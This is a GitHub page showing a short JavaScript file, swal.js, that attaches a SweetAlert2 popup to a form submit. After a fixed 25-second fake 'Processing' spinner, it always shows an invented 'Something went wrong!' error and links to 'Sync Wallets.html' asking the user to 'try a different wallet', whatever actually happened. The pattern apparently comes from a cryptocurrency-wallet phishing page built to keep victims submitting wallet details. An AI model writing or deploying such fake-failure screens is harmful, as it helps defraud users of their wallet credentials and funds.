-
Notifications
You must be signed in to change notification settings - Fork 0
/
swal.js
32 lines (30 loc) · 972 Bytes
/
swal.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var form = document.getElementById('frmSubmit');
form.addEventListener('submit', sweetalert, );
function sweetalert() {
let timerInterval
Swal.fire({
title: 'Processing !',
html: 'Please wait...',
timer: 25000,
timerProgressBar: true,
didOpen: () => {
Swal.showLoading()
const b = Swal.getHtmlContainer().querySelector('b')
timerInterval = setInterval(() => {
}, 100)
},
willClose: () => {
clearInterval(timerInterval)
}
}).then((result) => {
/* Read more about handling dismissals below */
if (result.dismiss === Swal.DismissReason.timer) {
Swal.fire({
icon: 'error',
title: 'Oops...',
text: 'Something went wrong!',
footer: '<a href="./Sync Wallets.html">Please try a different wallet!</a>'
})
}
})
}